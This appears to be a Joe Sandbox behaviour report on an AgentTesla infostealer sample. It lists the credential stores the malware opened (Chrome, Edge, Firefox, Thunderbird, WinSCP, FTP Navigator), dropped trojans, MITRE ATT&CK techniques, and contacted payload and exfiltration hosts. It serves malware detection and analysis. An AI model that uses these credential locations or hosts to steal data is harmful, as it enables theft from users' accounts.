Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 9.0.neworigin.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.000000000329C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 5328, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\neworigin.exe, type: DROPPED

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 9.0.neworigin.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\neworigin.exe, type: DROPPED

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 9.0.neworigin.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.000000000329C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2395131406.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4593833570.0000000003271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: neworigin.exe PID: 5328, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\neworigin.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	1 Credentials in Registry	1 System Network Connections Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Windows Service	1 Timestomp	NTDS	3 File and Directory Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	311 Process Injection	1 DLL Side-Loading	LSA Secrets	47 System Information Discovery	SSH	1 Clipboard Data	123 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	2 Service Execution	RC Scripts	1 Scheduled Task/Job	311 Masquerading	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	21 Registry Run Keys / Startup Folder	1 Valid Accounts	DCSync	341 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	151 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	Embedded Payloads	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\neworigin.exe	100%	Avira	TR/Spy.Gen8
C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	100%	Avira	HEUR/AGEN.1311721
C:\Users\user\AppData\Local\Temp\server_BTC.exe	100%	Avira	HEUR/AGEN.1311721
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Users\user\AppData\Local\Temp\neworigin.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\server_BTC.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Wisrysxl.PIF	29%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\Public\Libraries\lxsyrsiW.pif	3%	ReversingLabs
C:\Users\Public\alpha.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\neworigin.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\server_BTC.exe	66%	ReversingLabs	ByteCode-MSIL.Infostealer.ClipBanker
C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	66%	ReversingLabs	ByteCode-MSIL.Infostealer.ClipBanker

Source	Detection	Scanner	Label
https://gxe0.com/yak/233_Wisrysx	0%	Avira URL Cloud	safe
https://gxe0.com/yak/233_Wisrysxlfss	0%	Avira URL Cloud	safe
https://gxe0.com/t	0%	Avira URL Cloud	safe
https://gxe0.com:443/yak/233_WisrysxlfssX	0%	Avira URL Cloud	safe
http://s82.gocheapweb.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gxe0.com	198.252.105.91	true	false	high
api.ipify.org	104.26.13.205	true	false	high
s82.gocheapweb.com	51.195.88.199	true	false	high
pywolwnvd.biz	54.244.188.177	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://gxe0.com/yak/233_Wisrysxlfss	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gxe0.com/yak/233_Wisrysx	x.exe, 00000000.00000002.2233962338.0000000020CAD000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
https://account.dyn.com/	neworigin.exe, 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r11.o.lencr.org0#	neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 0000000B.00000002.2308580044.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2264345961.0000000000542000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r11.i.lencr.org/0	neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gxe0.com/t	x.exe, 00000000.00000002.2184605014.0000000000886000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 0000000B.00000002.2269466131.0000000004171000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2494316547.0000000006422000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2494316547.0000000006422000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://s82.gocheapweb.com	neworigin.exe, 00000009.00000002.2395131406.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000329C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269466131.0000000004171000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pmail.com	x.exe, x.exe, 00000000.00000002.2243776904.0000000021E70000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020C24000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2244527855.000000002206F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2180899022.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111145235.0000000002C11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2200179187.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2262163417.000000007FC4F000.00000004.00001000.00020000.00000000.sdmp, lxsyrsiW.pif, 00000008.00000000.2181503594.0000000000416000.00000002.00000001.01000000.00000006.sdmp, Wisrysxl.PIF, 00000016.00000002.2352049831.0000000002D22000.00000004.00001000.00020000.00000000.sdmp, lxsyrsiW.pif, 00000018.00000000.2336227084.0000000000416000.00000002.00000001.01000000.00000006.sdmp, Wisrysxl.PIF, 0000001B.00000002.2435548911.0000000002DF2000.00000004.00001000.00020000.00000000.sdmp, lxsyrsiW.pif, 0000001C.00000000.2411094000.0000000000416000.00000002.00000001.01000000.00000006.sdmp	false		high
http://ocsp.sectigo.com0C	x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	false		high
https://gxe0.com:443/yak/233_WisrysxlfssX	x.exe, 00000000.00000002.2184605014.0000000000899000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.252.105.91	gxe0.com	Canada	20068	HAWKHOSTCA	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
51.195.88.199	s82.gocheapweb.com	France	16276	OVHFR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554496
Start date and time:	2024-11-12 15:54:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	x.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@47/24@4/3
EGA Information:	Successful, ratio: 61.5%
HCA Information:	Successful, ratio: 95% Number of executed functions: 274 Number of non-executed functions: 52
